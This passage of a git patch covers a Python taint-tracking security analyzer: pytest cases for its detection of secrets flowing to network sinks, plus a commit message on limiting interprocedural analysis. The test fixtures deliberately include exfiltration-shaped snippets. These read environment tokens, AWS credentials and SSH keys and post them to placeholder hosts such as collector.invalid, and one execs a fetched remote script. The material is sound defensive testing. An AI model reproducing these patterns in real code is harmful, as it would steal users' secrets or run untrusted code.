peak_bytes(module(8)) + long = peak_bytes(module(5000)) + # Qualified keys would cost ~5000 bytes x ~9000 references (~45 MB) more. + assert long - short < 2 * 2**20 + + def test_same_named_classes_resolve_each_call_once(self) -> None: + """Thousands of redefinitions of one class plus calls stay linear. + + Redefinitions of a name merge into one class, and method lookups are + cached, so ``C()`` / ``c.m(x)`` / ``C(x).m(x)`` cost the same whether + ``C`` is defined once or thousands of times. + """ + count = 6000 + definition = ( + "class C:\n def __init__(self, a):\n self.a = a\n" + " def m(self, x):\n return x\n" + ) + code = definition * count + "c = C(1)\nc.m(1)\nC(2).m(2)\n" * count + parsed = get_python_ast(None, code, "t.py") + start = time.monotonic() + index = behavioral_taint_tracking._build_scope_index( + parsed.tree, parsed.import_aliases, {}, _capped_check_runtime(count * 200) + ) + behavioral_taint_tracking._TaintGraph( + index, {}, parsed.import_aliases, _capped_check_runtime(count * 200) + ).run() + elapsed = time.monotonic() - start + assert len(index.logical) == 1 + # Each (class, method) is looked up once, however many calls use it. + assert len(index._methods) <= 4 + assert elapsed < 4.0 + + def test_deadline_is_checked_while_indexing_scopes(self) -> None: + """Scope indexing checks the deadline per node, not only per function.""" + parsed = get_python_ast(None, "x + 1\n" * 20000, "t.py") + with pytest.raises(_RuntimeBudgetError): + behavioral_taint_tracking._build_scope_index( + parsed.tree, parsed.import_aliases, {}, _capped_check_runtime(5000) + ) + + def test_deadline_is_checked_per_statement(self) -> None: + """Calls that bind nothing still pass a deadline check each.""" + parsed = get_python_ast(None, "class C:\n pass\n" + "C()\n" * 20000, "t.py") + index = behavioral_taint_tracking._build_scope_index(parsed.tree, parsed.import_aliases, {}) + graph = behavioral_taint_tracking._TaintGraph( + index, {}, parsed.import_aliases, _capped_check_runtime(5000) + ) + with pytest.raises(_RuntimeBudgetError): + graph.build() + + def test_deadline_is_checked_per_propagated_fact(self) -> None: + depth = 20000 + code = ( + "import os\n" + + "".join(f"a{i} = a{i - 1}\n" for i in range(depth, 0, -1)) + + 'a0 = os.getenv("K")\n' + ) + parsed = get_python_ast(None, code, "t.py") + index = behavioral_taint_tracking._build_scope_index(parsed.tree, parsed.import_aliases, {}) + graph = behavioral_taint_tracking._TaintGraph(index, {}, parsed.import_aliases) + graph.build() + graph.tick = _capped_check_runtime(depth // 2) + with pytest.raises(_RuntimeBudgetError): + graph.propagate() + + def test_workflow_deadline_stops_an_adversarial_file_promptly(self) -> None: + """A crafted file cannot run the analyzer far past the workflow deadline.""" + code = "class C:\n pass\n" * 30000 + "C()\n" * 60000 + start = time.monotonic() + result = behavioral_taint_tracking.node( + { + "components": ["a.py"], + "file_cache": {"a.py": code}, + "workflow_resource_budget": WorkflowResourceBudget(max_seconds=1.0), + } + ) + elapsed = time.monotonic() - start + assert result["inspection_ledger"][0]["outcome"] in ("completed", "partial") + assert elapsed < 8.0 + + +def _summary(code: str) -> list[tuple[str, int]]: + return sorted((f.rule_id, f.start_line) for f in _run(code)) + + +class TestCallReceivers: + """Method calls resolve through the receiver's class, scoped like any name.""" + + _GITHUB = _code( + """ + import os, requests + class GitHub: + def create_issue(self, token, body): + requests.post("https://api.github.com/issues", headers={"A": token}) # SINK + """ + ) + _MAIN = _code( + """ + def main(): + client = GitHub() + token = os.environ["GITHUB_TOKEN"] + client.create_issue(token, {"title": "t"}) + """ + ) + _FETCH = _code( + """ + def fetch(url): + client = requests.Session() + return client.get(url) + """ + ) + + def test_same_named_library_instance_elsewhere_does_not_hide_binding(self) -> None: + for body in (self._MAIN + self._FETCH, self._FETCH + self._MAIN): + code = self._GITHUB + body + assert _summary(code) == [("TT3", _line(code, "# SINK"))], body + + def test_untyped_parameter_receiver_binds_despite_library_instance_elsewhere(self) -> None: + code = ( + self._GITHUB + + _code( + """ + def run(client): + token = os.getenv("GITHUB_TOKEN") + client.create_issue(token, {}) + """ + ) + + self._FETCH + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + def test_typed_receiver_reads_only_its_own_class(self) -> None: + code = _code( + """ + import os, requests + class Vault: + def get(self, name): + return os.getenv(name) + class Cache: + def get(self, name): + return "public" + def publish(): + c = Cache() + val = c.get("status") + requests.post("https://x.invalid", data=val) + def load(): + c = Vault() + return c.get("TOKEN") + """ + ) + assert _summary(code) == [] + + def test_typed_receiver_binds_only_its_own_class(self) -> None: + code = _code( + """ + import os, requests + class Api: + def upload(self, body): + print(body) + class Mirror: + def upload(self, body): + requests.post("https://example.invalid", data=body) + def main(): + api = Api() + api.upload(os.getenv("API_TOKEN")) + """ + ) + assert _summary(code) == [] + + def test_method_return_values_reach_the_caller(self) -> None: + on_self = _code( + """ + import os, requests + class Client: + def _token(self): + return os.getenv("API_TOKEN") # RETURN + def send(self): + requests.post("https://example.invalid", data=self._token()) + """ + ) + typed = _code( + """ + import os, requests + class Vault: + def key(self): + return os.getenv("API_TOKEN") # RETURN + def main(): + vault = Vault() + requests.post("https://example.invalid", data=vault.key()) + """ + ) + static = _code( + """ + import os, requests + class Vault: + @staticmethod + def key(): + return os.getenv("API_TOKEN") # RETURN + requests.post("https://example.invalid", data=Vault.key()) + """ + ) + for code, label in ((on_self, "_token()"), (typed, "key()"), (static, "key()")): + (finding,) = _flows(code) + assert finding.message == ( + f"Tainted flow: '{label}' from os.getenv (line {_line(code, '# RETURN')}, " + "credential/environment) → requests.post (network output)" + ) + + def test_returns_of_constructed_and_attribute_receivers(self) -> None: + """``Cls().m()``, ``cls().m()``, ``self.attr.m()`` and annotated instances.""" + vault = _code( + """ + import os, requests + class Vault: + def load(self): + secret = os.environ.get("OPENAI_API_KEY") + return secret + """ + ) + callers = ( + "data = Vault().load()", + "v: Vault = Vault()\ndata = v.load()", + ) + for caller in callers: + code = vault + caller + '\nrequests.post("https://x.invalid", data=data)\n' + assert [f.rule_id for f in _run(code)] == ["TT3"], caller + on_attribute = vault + _code( + """ + class App: + def __init__(self): + self.vault = Vault() + def run(self): + requests.post("https://x.invalid", data=self.vault.load()) + """ + ) + from_classmethod = _code( + """ + import os, requests + class Vault: + def load(self): + return os.environ.get("API_KEY") + @classmethod + def send(cls): + requests.post("https://x.invalid", data=cls().load()) + """ + ) + for code in (on_attribute, from_classmethod): + assert [f.rule_id for f in _run(code)] == ["TT3"], code + + def test_constructed_receiver_returns_feed_exec_and_file_flows(self) -> None: + exec_flow = _code( + """ + import requests + class Fetcher: + def fetch(self): + code = requests.get("https://x.invalid/script").text + return code + code = Fetcher().fetch() + exec(code) + """ + ) + file_flow = _code( + """ + import os, requests + class Reader: + def read(self): + creds = open(os.path.expanduser("~/.aws/credentials")).read() + return creds + creds = Reader().read() + requests.post("https://x.invalid", data=creds) + """ + ) + assert [f.rule_id for f in _run(exec_flow)] == ["TT5"] + assert [f.rule_id for f in _run(file_flow)] == ["TT4"] + + def test_explicit_unbound_calls_bind_self_explicitly(self) -> None: + """``Base.m(self, x)`` passes ``self`` as the first argument, not the receiver.""" + true_flow = _code( + """ + import os, requests + class Base: + def __init__(self, token): + requests.post("https://x.invalid", data=token) # SINK + class Child(Base): + def __init__(self): + token = os.getenv("TOKEN") + Base.__init__(self, token) + """ + ) + shifted = _code( + """ + import os, requests + class Base: + def __init__(self, user, body): + print(user) + requests.post("https://x.invalid", data=body) + class Child(Base): + def __init__(self): + Base.__init__(self, os.getenv("USER_NAME"), "public") + """ + ) + thread = _code( + """ + import os, requests, threading + class Base: + def send(self, payload): + requests.post("https://x.invalid", data=payload) # SINK + def main(obj): + token = os.getenv("TOKEN") + threading.Thread(target=Base.send, args=(obj, token)).start() + """ + ) + assert _summary(true_flow) == [("TT3", _line(true_flow, "# SINK"))] + assert _summary(shifted) == [] + assert _summary(thread) == [("TT3", _line(thread, "# SINK"))] + + def test_super_calls_follow_the_method_resolution_order(self) -> None: + unrelated_init = _code( + """ + import os, requests + class Credentials: + def __init__(self, token): + self.token = token + class EnvCredentials(Credentials): + def __init__(self): + super().__init__(os.environ.get("API_TOKEN")) + class Downloader: + def __init__(self, url): + self.url = url + def fetch(self): + return requests.get(self.url, timeout=10) + class ApiError(Exception): + def __init__(self, message): + super().__init__(message) + def run(cmd): + raise ApiError(requests.get(cmd).text) + """ + ) + returned = _code( + """ + import os, requests + class Base: + def auth(self): + token = os.environ["TOKEN"] + return token + class Child(Base): + def send(self): + token = super().auth() + requests.post("https://x.invalid", data=token) # ZERO_ARG + def send2(self): + requests.post("https://x.invalid", data=super(Child, self).auth()) # TWO_ARG + """ + ) + overridden = _code( + """ + import os, requests + class Base: + def send(self, payload): + print(payload) + def auth(self): + return "public" + class Child(Base): + def send(self, payload): + requests.post("https://x.invalid", data=payload) + def auth(self): + return os.getenv("TOKEN") + def run(self): + super().send(os.getenv("TOKEN")) + requests.post("https://x.invalid", data=super().auth()) + """ + ) + assert _summary(unrelated_init) == [] + assert _summary(overridden) == [] + assert _summary(returned) == [ + ("TT3", _line(returned, "# ZERO_ARG")), + ("TT3", _line(returned, "# TWO_ARG")), + ] + + def test_literal_receivers_never_bind_into_module_methods(self) -> None: + code = _code( + """ + import os, requests + MODELS = {"small": "s"} + class Uploader: + def __init__(self, url): + self.url = url + def format(self, record): + return requests.post(self.url, json={"record": record}, timeout=10) + def get(self, model_id): + return requests.get(f"https://models.invalid/{model_id}") + def banner(): + user = os.environ.get("USER", "unknown") + return "Running as {}".format(user) + def selected_model(): + options = {} + options.get(os.environ.get("MODEL")) + return MODELS.get(os.environ.get("MODEL_SIZE", "small")) + """ + ) + assert _summary(code) == [] + + def test_cls_constructor_and_property_reads(self) -> None: + cls_constructor = _code( + """ + import os, requests + class Client: + def __init__(self, token): + self.resp = requests.post("https://auth.invalid", data={"token": token}) # SINK + @classmethod + def from_env(cls): + token = os.environ.get("API_TOKEN") + return cls(token) + """ + ) + on_self = _code( + """ + import os, requests + class Client: + @property + def api_key(self): + api_key = os.environ.get("API_KEY") + return api_key + def call(self): + key = self.api_key + requests.post("https://x.invalid", headers={"X-API-Key": key}) # SINK + """ + ) + on_instance = _code( + """ + import os, requests + class Config: + @property + def token(self): + return os.getenv("GITHUB_TOKEN") + cfg = Config() + requests.post("https://x.invalid", data=cfg.token) # SINK + """ + ) + for code in (cls_constructor, on_self, on_instance): + assert _summary(code) == [("TT3", _line(code, "# SINK"))], code + + def test_callbacks_on_attribute_constructor_and_parameter_receivers(self) -> None: + sender = _code( + """ + import os, requests, threading + class Sender: + def send(self, token): + requests.post("https://x.invalid", data=token) # SINK + """ + ) + for setup, target in ( + ("self.sender = Sender()", "self.sender.send"), + ("pass", "Sender().send"), + ("pass", "sender.send"), + ): + code = sender + _code( + f""" + class App: + def __init__(self): + {setup} + def run(self, sender): + token = os.getenv("GITHUB_TOKEN") + threading.Thread(target={target}, args=(token,)).start() + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))], target + + +class TestClassHierarchies: + """Attributes and methods are shared along inheritance, not across siblings.""" + + def test_sibling_subclasses_do_not_share_attributes(self) -> None: + code = _code( + """ + import os, requests + class ChatProvider: + def chat(self, messages): + raise NotImplementedError + class NvidiaProvider(ChatProvider): + def __init__(self): + self.headers = {"Authorization": os.environ.get("NVIDIA_API_KEY")} + def chat(self, messages): + return requests.post("https://nvidia.invalid", headers=self.headers) # REAL + class OllamaProvider(ChatProvider): + def __init__(self): + self.headers = {"Content-Type": "application/json"} + def chat(self, messages): + return requests.post("http://localhost:11434", headers=self.headers) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# REAL"))] + + def test_sibling_subclasses_do_not_share_methods(self) -> None: + code = _code( + """ + import os, requests + class Backend: + pass + class CloudBackend(Backend): + def auth_token(self): + return os.environ.get("CLOUD_TOKEN") + class LocalBackend(Backend): + def auth_token(self): + return "anonymous" + def health(self): + return requests.get("http://localhost", params={"u": self.auth_token()}) + """ + ) + assert _summary(code) == [] + + def test_attributes_meet_through_subclasses_and_mixins(self) -> None: + set_in_subclass = _code( + """ + import os, requests + class Base: + def send(self): + requests.post("https://x.invalid", data=self.token) # SINK + class Child(Base): + def __init__(self): + self.token = os.getenv("API_TOKEN") + """ + ) + mixin = _code( + """ + import os, requests + class TokenStore: + def __init__(self): + self.token = os.environ.get("API_KEY") + class SenderMixin: + def send(self, url): + return requests.post(url, headers={"A": self.token}) # SINK + class Client(TokenStore, SenderMixin): + pass + """ + ) + for code in (set_in_subclass, mixin): + assert _summary(code) == [("TT3", _line(code, "# SINK"))], code + + def test_overridden_method_in_subclass_is_reached_from_the_base(self) -> None: + code = _code( + """ + import os, requests + class Base: + def token(self): + return "public" + def send(self): + requests.post("https://x.invalid", data=self.token()) # SINK + class Child(Base): + def token(self): + return os.getenv("API_TOKEN") + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + +class TestContextSensitivity: + """One caller's secret must not taint other calls of the same helper.""" + + def test_helper_result_is_tainted_only_where_the_secret_is_passed(self) -> None: + code = _code( + """ + import os, requests + def _headers(token=None): + h = {"Accept": "application/json"} + if token: + h = {"Accept": "application/json", "Authorization": f"Bearer {token}"} + return h + def private_api(): + return requests.get("https://api.invalid/me", headers=_headers(os.environ["T"])) # SINK + def public_status(): + return requests.post("https://status.invalid/ping", headers=_headers()) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + def test_pure_transform_helper_does_not_leak_between_callers(self) -> None: + code = _code( + """ + import os, json, requests + def to_json(obj): + return json.dumps(obj, indent=2) + def save_config(): + cfg = {"api_key": os.getenv("API_KEY")} + print(to_json(cfg)) + def report(results): + requests.post("https://telemetry.invalid", data=to_json(results)) + """ + ) + assert _summary(code) == [] + + def test_secrets_still_flow_through_helpers_globals_and_attributes(self) -> None: + code = _code( + """ + import os, requests + CACHE = {} + def remember(value): + global TOKEN + TOKEN = value + class Holder: + def keep(self, value): + self.value = value + def send(self): + requests.post("https://x.invalid", data=self.value) # ATTR + def wrap(value): + return {"v": value} + def main(holder: Holder): + secret = os.getenv("API_KEY") + remember(secret) + Holder().keep(secret) + requests.post("https://x.invalid", json=wrap(secret)) # ARG + def later(): + requests.post("https://x.invalid", data=TOKEN) # GLOBAL + """ + ) + assert _summary(code) == sorted( + ("TT3", _line(code, marker)) for marker in ("# ATTR", "# ARG", "# GLOBAL") + ) + + def test_inline_source_through_a_helper_is_reported_once(self) -> None: + network = _code( + """ + import requests + def wrap(text): + return {"q": text} + requests.post("https://api.invalid/search", json=wrap(input("query: "))) + """ + ) + command = _code( + """ + import os, subprocess + def make_cmd(binary): + return [binary, "--version"] + subprocess.run(make_cmd(os.environ.get("TOOL_BIN"))) + """ + ) + assert [f.rule_id for f in _run(network)] == ["TT1"] + assert [f.rule_id for f in _run(command)] == ["TT1"] + + +class TestMultipleSources: + """A key keeps one fact per source; the sink reports the most severe rule.""" + + def test_helper_defined_first_does_not_preempt_the_credential(self) -> None: + code = _code( + """ + import os, requests + def nonce(): + return requests.get("https://collector.invalid/nonce").text + def run(): + token = os.getenv("API_KEY") + body = nonce() + token # BODY + requests.post("https://collector.invalid/upload", data=body) + """ + ) + (finding,) = _run(code) + assert finding.rule_id == "TT3" + assert f"'body' from os.getenv (line {_line(code, '# BODY')}," in finding.message + + def test_file_read_helper_does_not_preempt_the_credential(self) -> None: + code = _code( + """ + import os, requests + def read_key(): + return open(os.path.expanduser("~/.ssh/id_rsa")).read() + def collect(): + aws = os.environ["AWS_SECRET_ACCESS_KEY"] + loot = {"key": read_key(), "aws": aws} + requests.post("https://collector.invalid/x", json=loot) + """ + ) + assert [f.rule_id for f in _run(code)] == ["TT3"] + + def test_reassignment_keeps_the_most_severe_source_in_either_order(self) -> None: + for first, second in ( + ('open("notes.txt").read()', 'os.getenv("KEY")'), + ('os.getenv("KEY")', 'open("notes.txt").read()'), + ): + code = ( + "import os, requests\n" + f"payload = {first}\n" + f"payload = {second}\n" + "body = payload\n" + 'requests.post("https://x.invalid", data=body)\n' + ) + assert [f.rule_id for f in _run(code)] == ["TT3"], first + + +class TestLambdaAndComprehensionScopes: + """Lambdas and comprehensions are scopes of their own, as in Python 3.""" + + def test_walrus_inside_a_lambda_does_not_shadow_a_global(self) -> None: + code = _code( + """ + import os, requests + TOKEN = os.getenv("API_TOKEN") + def send(): + reset = lambda: (TOKEN := None) + requests.post("https://x.invalid", data=TOKEN) # SINK + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + def test_walrus_inside_a_comprehension_binds_in_the_function(self) -> None: + code = _code( + """ + import os, requests + TOKEN = os.getenv("API_TOKEN") + def send(): + [(TOKEN := "public") for _ in range(1)] + requests.post("https://x.invalid", data=TOKEN) + """ + ) + assert _summary(code) == [] + + def test_lambda_assigned_to_a_name_binds_call_arguments(self) -> None: + code = _code( + """ + import os, requests + post_secret = lambda payload: requests.post("https://x.invalid", data=payload) # SINK + def main(): + value = os.getenv("API_TOKEN") + post_secret(value) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + def test_lambda_parameters_are_local(self) -> None: + code = _code( + """ + import os, requests + payload = os.getenv("API_TOKEN") + send = lambda payload: requests.post("https://x.invalid", data=payload) + send("public") + """ + ) + assert _summary(code) == [] + + def test_comprehension_targets_are_local(self) -> None: + into_callee = _code( + """ + import os, requests + url = os.getenv("WEBHOOK_URL") + def ping(u): + requests.get(u, timeout=5) + def check(urls): + return [ping(url) for url in urls] + """ + ) + direct_sink = _code( + """ + import os, requests + url = os.getenv("WEBHOOK_URL") + def check(urls): + return [requests.get(url, timeout=5) for url in urls] + """ + ) + outer_name = _code( + """ + import os, requests + token = os.getenv("API_TOKEN") + def send(): + labels = [token for token in ("a", "b")] + requests.post("https://x.invalid", data=token) # SINK + """ + ) + assert _summary(into_callee) == [] + assert _summary(direct_sink) == [] + assert _summary(outer_name) == [("TT3", _line(outer_name, "# SINK"))] + + def test_comprehension_over_tainted_data_taints_its_target(self) -> None: + code = _code( + """ + import os, requests + def send(names): + secrets = [os.getenv(name) for name in names] + for value in [s for s in secrets]: + pass + [requests.post("https://x.invalid", data=s) for s in secrets] # SINK + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + +class TestRecallAndPrecisionPaths: + """Each path below is pinned so that removing it fails a test.""" + + def test_recall_paths(self) -> None: + cases = ( + # keyword-only defaults + """ + import os, requests + def send(*, value=os.getenv("API_KEY")): + requests.post("https://x.invalid", data=value) # SINK + send() + """, + # Thread kwargs + """ + import os, requests, threading + def upload(body): + requests.post("https://x.invalid", data=body) # SINK + def main(): + secret = os.getenv("API_KEY") + threading.Thread(target=upload, kwargs={"body": secret}).start() + """, + # class attribute read through the class name + """ + import os, requests + class Config: + TOKEN = os.getenv("API_TOKEN") + def send(): + requests.post("https://x.invalid", data=Config.TOKEN) # SINK + """, + # defaults are evaluated in the defining class body + """ + import os, requests + class Client: + TOKEN = os.getenv("API_TOKEN") + def send(self, token=TOKEN): + requests.post("https://x.invalid", data=token) # SINK + """, + ) + for case in cases: + code = _code(case) + assert _summary(code) == [("TT3", _line(code, "# SINK"))], case + + def test_precision_guards(self) -> None: + cases = ( + # an untyped receiver never reads a same-named module method's return + """ + import os, requests + class Settings: + def get(self, name): + return os.getenv(name) + def fetch(params): + url = params.get("url") + return requests.get(url) + """, + # a library-typed receiver does not bind into a same-named module method + """ + import os, requests + class Api: + def get(self, url): + requests.get(url) + def main(): + token = os.getenv("API_TOKEN") + session = requests.Session() + session.get(token) + """, + # class-body names are not visible to methods + """ + import os, requests + token = "public" + class Client: + token = os.getenv("API_TOKEN") + def send(self): + requests.post("https://x.invalid", data=token) + """, + # an explicit dunder call on an unknown object binds nowhere + """ + import os, requests + class Auth: + def __init__(self, token): + self.token = token + def make(auth): + auth.__init__(os.getenv("GITHUB_TOKEN")) + class Downloader: + def __init__(self, url): + self.url = url + def fetch(self): + return requests.get(self.url, timeout=10) + """, + ) + for case in cases: + assert _summary(_code(case)) == [], case From 3c1214666ca002086652cd9d966fac1ebf03f629 Mon Sep 17 00:00:00 2001 From: Narendran Raghavan Date: Thu, 8 Oct 2026 08:15:53 -0700 Subject: [PATCH 3/7] refactor(taint): narrow interprocedural taint to bounded direct calls Two review rounds of the broad interprocedural design showed it kept producing denial-of-service paths (per-call work proportional to the number of candidate classes, unbounded receiver class lists, per-source fact sets, messages copying long identifiers) and recall or precision regressions (receiver typing that hid real callees, a fallback that bound into every same-named method, callback rules that bound the wrong arguments). This narrows interprocedural flow to calls whose callee is known from syntax alone, in O(1) per call. Kept: - Lexical scopes. Function locals and parameters are per function and module globals keep bare keys; global/nonlocal and closures follow Python's rules; class bodies are invisible to methods; lambdas and comprehensions are scopes, with PEP 572 walrus binding. Names resolve in one depth-first pass over the scope tree with a stack per identifier, O(1) per name however deep the nesting. Keys are small ints built from a scope id and a reference to the identifier, never from a qualified name. - Direct calls by name to functions defined in the file (including nested ones visible lexically and lambdas assigned to a name): positional and keyword arguments, defaults, *args/**kwargs forwarding, 16 positional slots. Every definition bound to one name is one callee, so binding work is linear in calls, not calls x redefinitions. - Per-call-site returns. A callee's return summary only carries facts that do not depend on its parameters; what a call returns from its own arguments is read at that call site from those arguments (a call's value includes its arguments, as before). One caller's secret no longer taints other callers' results, also through closures and lambdas. - Methods, only where the callee is syntactic: self.m()/cls.m() bind to the class's own method or its nearest in-file base (a precomputed lookup over at most 8 classes), Class.m(obj, ...) with the unbound offset, super().m(), and Class(...)/cls(...) to __init__. Aliases of a class bind nothing, as on main. self.x/cls.x attributes are per class: a read sees stores in its class and in-file bases, never in siblings. - One source per key and sink lane, the most severe for the lane: credential > file read > external input for network sinks, and external input > file read > credential for code execution and deserialization sinks. A helper's source can no longer turn a TT3 into TT2/TT4, nor a TT5/TT6 into TT2. When the lanes agree (almost always) they share one fact, which propagates once. - Two-phase propagation. Phase A replays main's assignment flows in main's order; phase B adds argument binding, returns, attributes and defaults, and only fills clean keys or upgrades to a more severe source. A flow main reports keeps main's message, except where a more severe source now reaches the same variable. - Messages name what the sink spells (never an attribute spelling from elsewhere in the file); identifiers longer than 120 characters are shortened, so message bytes stay bounded per finding. Dropped, each a source of DoS paths or regressions: - receiver type inference (per-scope type maps, annotations, with-as, cast and builtin results), MRO linearization beyond the bounded base lookup, and @property reads; - the untyped-receiver fallback into every same-named method; - callback rules (Thread target, submit, run_in_executor): as on main; - class hierarchy families and the shared-descendant attribute rule; - per-source fact sets; - comprehension iteration flows (main does not model iteration targets, and they changed which variable messages cite at sinks); - lambda return summaries (a lambda's value is already read by name). Bounds: indexing, name resolution, flow building, callee linking and propagation are linear, and check_runtime runs in each of their loops. Every flow fires at most once per (lane, rank, slot), 12 times whatever the number of sources. On every DoS repro from both reviews, every file completes and later files keep their findings; time is 1.0-2.2x main and peak memory matches main, except +14% on a variable carrying all 23 sources. Tests: - main's 77 taint tests pass unchanged. - New: name-clash classes found in real skills, direct-call recall, methods and attributes without sibling leakage, source lanes, message compatibility, deadlines in indexing, flow building, callee linking and propagation, and every DoS repro from both reviews as a work-scaling test (executed analyzer lines at 1x and 4x size, not wall time), a fact count or a byte count. - TestNotResolved pins main-like behavior for the dropped features. - Removed PR tests, with the reason: - receiver typing and the untyped fallback (library instance elsewhere, untyped parameter receiver, typed receivers reading or binding only their class, returns of constructed and attribute receivers, and their exec/file variants): the features are dropped; instance receivers now bind nothing, as on main; - callbacks on attribute, constructor and parameter receivers, Thread kwargs, Thread(target=Base.m): callback rules are dropped; - @property reads, Config.TOKEN read through the class name, mixins and subclass overrides reached from a base: dropped with hierarchy families; overrides now assert main-like results; - comprehension over tainted data tainting its target: iteration flows are dropped; - the 1 s workflow-deadline wall-clock test: replaced by operation counts (it also passed on the unfixed code). The other PR tests were kept under new names (scope precision, helper returns, argument binding, closures, attributes, super, unbound calls, context sensitivity, lambda and comprehension scopes, deadlines). Signed-off-by: Narendran Raghavan Co-Authored-By: Claude Opus 5.5 --- .../analyzers/behavioral_taint_tracking.py | 2510 +++++++---------- .../test_behavioral_taint_tracking.py | 2388 +++++++++------- 2 files changed, 2410 insertions(+), 2488 deletions(-) diff --git a/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py b/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py index 364f82929..c85940c9d 100644 --- a/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py +++ b/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py @@ -13,13 +13,13 @@ # See the License for the specific language governing permissions and # limitations under the License. -"""Behavioral taint-tracking analyzer (TT1–TT5): sources -> sinks data-flow analysis. +"""Behavioral taint-tracking analyzer (TT1–TT6): sources -> sinks data-flow analysis. Parses Python AST to identify data sources (env vars, file reads, network input) and sinks (network output, exec, file writes), then tracks flows between them to flag potential credential/data exfiltration chains. Taint follows Python's -lexical scopes and crosses calls to functions defined in the same file -(arguments into parameters, return values back to callers). +lexical scopes and crosses direct calls to functions and methods defined in the +same file (arguments into parameters, return values back to callers). """ from __future__ import annotations @@ -27,7 +27,7 @@ import ast import time from collections import deque -from collections.abc import Callable, Iterable, Iterator, Sequence +from collections.abc import Callable, Iterable, Sequence from dataclasses import dataclass, field from typing import NamedTuple @@ -328,20 +328,12 @@ def _pick_rule(source_name: str, sink_name: str, is_direct: bool) -> str: return "TT1" if is_direct else "TT2" -_SEVERITY_RANK: dict[Severity, int] = { - Severity.LOW: 0, - Severity.MEDIUM: 1, - Severity.HIGH: 2, - Severity.CRITICAL: 3, -} - - class _TaintedVar(NamedTuple): """One reported taint fact: data from ``source_call`` reaches ``name``. ``lineno`` is the line of the statement that last tainted ``name`` (the - assignment, the call that bound a parameter), the wording earlier releases - used, so messages, exact baselines and message-glob rules keep matching. + assignment, or the call that bound a parameter), the wording earlier + releases used, so messages and message-based baselines keep matching. """ name: str @@ -375,46 +367,16 @@ def _call_source( return name -def _direct_sources( - node: ast.expr, - type_map: dict[str, str] | None, - aliases: dict[str, str], - check_runtime: Callable[[], None] | None = None, - stop: Callable[[ast.AST], bool] | None = None, -) -> list[tuple[str, ast.AST]]: - """Every distinct source a value reads directly, in ``ast.walk`` order. - - Finds source calls anywhere in the expression (``open("f").read()``, - ``requests.get(url).text``, ``os.environ.get("K")``) and an - ``os.environ["K"]`` subscript (also ``os`` aliased) that is the whole - value. Returns ``(source name, source node)`` for the first occurrence of - each source. *stop* prunes subtrees whose sources are accounted elsewhere. - """ - found: dict[str, ast.AST] = {} - if stop is not None and stop(node): - return [] - queue: deque[ast.AST] = deque([node]) - while queue: - if check_runtime is not None: - check_runtime() - child = queue.popleft() - if isinstance(child, ast.Call): - name = _call_source(child, type_map, aliases) - if name is not None and name not in found: - found[name] = child - for grandchild in ast.iter_child_nodes(child): - if isinstance(grandchild, ast.expr_context): - continue - if stop is not None and stop(grandchild): - continue - queue.append(grandchild) - if isinstance(node, ast.Subscript): - base = resolve_dotted_name(node.value) - if base is not None: - base = apply_import_aliases(base, aliases) - if base and base in _CREDENTIAL_SOURCES and base not in found: - found[base] = node - return list(found.items()) +def _credential_subscript(node: ast.AST, aliases: dict[str, str]) -> str | None: + """``os.environ["K"]`` (also with ``os`` aliased) as a whole value is a source.""" + if not isinstance(node, ast.Subscript): + return None + base = resolve_dotted_name(node.value) + if base is not None: + base = apply_import_aliases(base, aliases) + if base and base in _CREDENTIAL_SOURCES: + return base + return None def _find_nested_sources( @@ -438,248 +400,203 @@ def _find_nested_sources( return results -# ── Lexical scopes ────────────────────────────────────────────────────── +# ── Lexical scopes and direct calls ───────────────────────────────────── # # Taint is keyed by lexical scope rather than by bare name, so a tainted local # in one function cannot taint an unrelated same-named variable or parameter -# in another. Keys are small integers (see ``_Keys``) built from a scope or -# class id plus the identifier the source spells; no key ever embeds a -# qualified name, so memory stays linear in the file even for very long names. +# in another. Keys are small integers; a key is built from a scope id plus a +# reference to the identifier string already in the tree, never from a +# qualified name, so memory does not grow with identifier length. +# +# Interprocedural flow is deliberately narrow. Only calls whose callee is +# known from syntax alone, in O(1), bind arguments and read return values: # -# * Names follow Python's rules: parameters and names bound in a function, -# lambda or comprehension are local to it unless declared ``global`` / -# ``nonlocal``; free names resolve through enclosing functions to the -# module; class bodies are visible only to their own statements. -# * ``self.x`` / ``cls.x`` / ``Class.x`` and class-body names are attributes of -# the class. A store in class C reaches a read in class E when C and E share -# a descendant (E is C, a subclass, a base, or a mixin combined with C), so -# sibling subclasses stay apart. Very large hierarchies share one namespace. -# * Calls to functions and methods defined in the file bind their arguments to -# the callee's parameters through per-callee argument slots, and read the -# callee's return value. Taint that reached a function only through its own -# parameters never enters its return value: each call site already reads its -# own arguments, so one caller's secret cannot taint other callers' results. +# * ``f(...)`` where ``f`` resolves lexically to functions (or a lambda +# assigned to the name) defined in this file; every definition bound to the +# name is one callee, so redefinitions cost nothing per call; +# * ``self.m(...)`` / ``cls.m(...)`` in a method, ``Class.m(...)`` and +# ``super().m(...)``, through the class's own methods or those of its +# nearest in-file base (a bounded, precomputed lookup); +# * ``Class(...)`` / ``cls(...)``, which bind to ``__init__``. +# +# Receivers of any other shape (``obj.m(...)``) are not resolved and bind +# nothing, exactly as before. ``self.x`` / ``cls.x`` attributes are per class: +# a read sees stores in the class and its in-file bases, never in siblings. + +_MODULE = 0 +_FUNCTION = 1 +_LAMBDA = 2 +_COMPREHENSION = 3 +_CLASS = 4 _FunctionNode = ast.FunctionDef | ast.AsyncFunctionDef -_Comprehension = (ast.ListComp, ast.SetComp, ast.GeneratorExp, ast.DictComp) -# Values that can never be an instance of a class defined in this file. -_LITERAL_VALUES = ( - ast.Constant, - ast.JoinedStr, - ast.Dict, - ast.List, - ast.Set, - ast.Tuple, - ast.ListComp, - ast.SetComp, - ast.DictComp, - ast.GeneratorExp, -) +_COMPREHENSIONS = (ast.ListComp, ast.SetComp, ast.GeneratorExp, ast.DictComp) -# Call-site positional arguments at or beyond this parameter index (and -# anything after a ``*args`` unpacking) share one 